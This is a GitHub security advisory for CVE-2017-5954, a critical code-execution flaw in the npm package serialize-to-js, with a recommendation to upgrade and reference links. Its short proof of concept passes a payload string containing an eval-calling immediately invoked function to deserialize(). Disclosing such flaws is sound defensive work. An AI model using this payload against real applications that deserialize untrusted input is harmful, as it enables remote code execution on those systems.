commenthol/serialize-to-js · Security
Code Execution Through IIFE in serialize-to-js
- GHSA ID
- GHSA-mm62-wxc8-cf7m
- CVE ID
- CVE-2017-5954
- Severity
- critical
- Published
- Updated
- CVSS
- 9.8 · CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- CVSS v3
- 9.8 · CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
Affected versions of serialize-to-js may be vulnerable to arbitrary code execution through an Immediately Invoked Function Expression (IIFE).
Proof of Concept
var payload = "{e: (function(){ eval('console.log(`exploited`)') })() }"
var serialize = require('serialize-to-js');
serialize.deserialize(payload);
Recommendation
Update to version 1.0.0, or later, and review this disclaimer from the author.
CWEs
- CWE-502 · Deserialization of Untrusted Data
References
- https://nvd.nist.gov/vuln/detail/CVE-2017-5954 ↗
- https://github.com/advisories/GHSA-mm62-wxc8-cf7m ↗
- https://www.npmjs.com/advisories/313 ↗
- https://www.npmjs.com/package/serialize-to-js#deserialize ↗
- https://github.com/commenthol/serialize-to-js/issues/1 ↗
- https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/ ↗
- http://www.securityfocus.com/bid/96223 ↗
- https://github.com/commenthol/serialize-to-js/commit/1cd433960e5b9db4c0b537afb28366198a319429 ↗